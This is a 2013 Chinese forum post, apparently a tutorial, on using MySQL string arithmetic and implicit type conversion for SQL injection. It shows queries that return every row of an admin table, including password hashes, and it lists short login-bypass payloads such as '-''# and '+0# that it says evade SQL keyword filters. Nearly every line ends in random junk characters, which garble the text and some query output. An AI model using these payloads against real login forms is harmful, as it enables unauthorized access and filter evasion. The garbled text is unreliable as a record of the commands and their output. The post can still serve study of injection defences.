找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2355|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。- F0 @& R* ~; `2 r
有以下表结构: & A, W4 e( t9 P) \5 ]7 \
7 t9 f1 R9 ], @8 M  m! ]
mysql> desc admin;2 E2 v1 ~: t& h2 ?3 f
+----------+--------------+------+-----+---------+----------------+% Q' J& Y  c" h8 F) n
| Field    | Type         | Null | Key | Default | Extra          |& \. W1 ^$ ^3 m/ \) c/ Z
+----------+--------------+------+-----+---------+----------------+, i  u* Y$ k. m3 v2 F8 ?7 R) Y
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |. |- m# H0 k9 z4 o" ?% u& p8 d* |3 G
| name     | char(32)     | NO   | UNI | NULL    |                |( P) E: K3 F& h$ W: d# E
| password | char(32)     | NO   | UNI | NULL    |                |
* V3 h! X4 I7 O# r0 ^; \9 i+----------+--------------+------+-----+---------+----------------+8 J  ~/ G; w# l5 k* P( _; l
3 rows in set (0.00 sec)
9 l, V6 q- `* v1 \; T执行select * from admin;,成功返回所有记录内容。. f( W5 k5 O7 X1 z- g3 H! l

6 Y3 ?7 a7 Y% [, w- r$ `
3 M3 t, @& {1 _$ B9 V. A% w+----+--------+----------------------------------+
, v7 b2 w4 ~- W- w| id | name   | password                         |! S7 K8 L7 Z  C- R4 |
+----+--------+----------------------------------+
4 {7 o) G! h/ W6 p4 c! K9 s% R|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
$ M6 @& x3 z# e5 m; N3 m5 z/ j$ y|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |  v, \& L4 q9 U* I
|  4 | n00b   | ff80e8508d39047460921792273533a4 |* b- P  n, q/ [8 E1 {% [
+----+--------+----------------------------------++ g2 X2 [- S7 P! O" [* h
3 rows in set (0.00 sec)
7 n* h6 q' O9 a% i+ _执行select * from admin where name=”;,没有匹配到任何记录。 7 \- q8 C4 f/ V" p, }6 g" }6 y2 a
. p& l) h  u( `# K7 @3 H+ C
mysql> select * from admin where name = '';* {7 u- a7 U1 a. q6 b# q7 N
Empty set (0.00 sec)
4 |( K6 q7 A& z5 l2 `9 K8 _5 @# J那么我们来执行select * from admin where name = ”-”;
4 O# ]* m/ l' y, |: K( d. S/ W. x* ~) R8 q- R) T$ U$ {

$ p8 i' S0 ?0 c+----+--------+----------------------------------+/ T2 g, w. ]( j' L# H! G" W
| id | name   | password                         |* i3 Z6 I( Z5 j
+----+--------+----------------------------------+# O3 p5 h# z; I* D
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |- p/ l3 a+ B+ ~% V4 a
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |" ~4 [8 _; |& l& _) Y! b6 r: g
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
7 F7 @% b0 r2 B2 N) z+----+--------+----------------------------------+
  L$ M) D$ V! Y+ y* k* ?9 d2 D3 rows in set, 3 warnings (0.00 sec)
- t2 B2 f: q. k$ E% F) N可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
) _, P- {% t- ^0 a4 @
# y, k0 I6 |5 L5 J) y2 Zmysql> show warnings;& m! H4 A- k/ n  B6 T' ]
+---------+------+------------------------------------------4 W8 o- D5 ^/ j  v) w
| Level   | Code | Message
/ T5 S+ Z: j8 {5 U$ P0 v3 G+---------+------+------------------------------------------
7 [( N& _& n2 D" _| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin" C$ d, G2 l% B! D( r5 x
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s' ^# B0 j. C% R, B6 d
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b4 Y* I# F8 a; N9 j0 n! A: j
+---------+------+------------------------------------------
+ n) ?# ^7 f4 V# l: \( T$ g3 rows in set (0.00 sec)7 V/ N0 ?0 Y7 B
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 : N8 [) n2 x0 j9 p
6 M- u& G5 Q5 i" r' n& q: F
mysql> select ''-'';
- a$ s2 @- e+ C* W- W9 I+ o% u+-------+
9 E1 o5 u9 N, l6 C| ''-'' |
0 s# ~* x: @. i0 d1 z0 l+-------+8 l$ h) I/ j/ o# z" i6 v
|     0 |
& L# c/ @  G6 B: p" _2 B% [+-------+* m$ g3 s' E0 {
1 row in set (0.00 sec)+ X3 G& y5 J5 ^( g( r
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: ( x/ U; W- ?9 }- f5 ^
; ~% H  Y4 ]1 C+ J% \
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);- g6 C, [2 |: t: v
+-----------------------------------------------------+
9 b* t" ]3 q. N: C| CAST((select name from admin limit 1,1) as DECIMAL) |. N4 l# X- [3 [- C
+-----------------------------------------------------+! V7 m; |- @" s7 `# ]* k0 x1 m. J/ X
|                                                   0 |- F# k9 A" @, E- H& O- o: t. t
+-----------------------------------------------------+
( c$ G0 O8 B: J# i1 \1 row in set, 1 warning (0.00 sec)- j9 _! m# I* k. M
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 8 H" A: k/ Y( v4 g6 D& ~
, b. [1 U; F5 W; b) N# W' q
SQL注入场景: http://www.sqlzoo.net/hack/ - f" f1 D0 o. {; ^

+ E* k$ q- X" d' c- h1 o+ G1 Y$ S, v+ I/ H4 D7 g
' G- t( k: @- ?! X
7 c+ t$ i+ K# c
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
8 K# n3 D. o7 W4 N$ G  k! G+ g: w; p) C2 t- W! l
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
& ]/ x+ t: R: j. j" i% k; Q2 L& b- c* ^$ v" \
% T6 B) q) H* H3 j
9 Q6 n, K# b- ~7 d
( }# D4 r& b' d/ w5 G, B
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
4 B6 i# \3 c' Q4 z& U+ V. c4 L6 b
- D2 X5 `7 P" |" t5 t   
. S% k1 E$ \; j* ]5 [/ D. K
; A) ?  y( d+ y, w) ~+ m* C除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可) z% t" s* m! a' ^4 y& Z, X
) c4 H6 w) Z+ C
8 e" {  }# m* \3 @: N
mysql> select ''/1;5 m" Y5 A4 ^% q) ]: i
+------+. ]1 V8 [* y6 y: n! o
| ''/1 |- [( Z/ Y3 [% U) {6 f- z6 d
+------+3 r- [. m& T% Z$ f& W
|    0 |4 K, r& \7 K- c
+------+; h. C5 l8 K! k5 K7 p5 g  N
1 row in set (0.00 sec); v: P, C+ E" |; [" [' x4 g- Y
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  , D# j0 e. P! \: [: f! m

5 ]; A' I. x9 {5 ]* Q& j5 g利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
5 Y% m+ d! s/ D9 P6 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表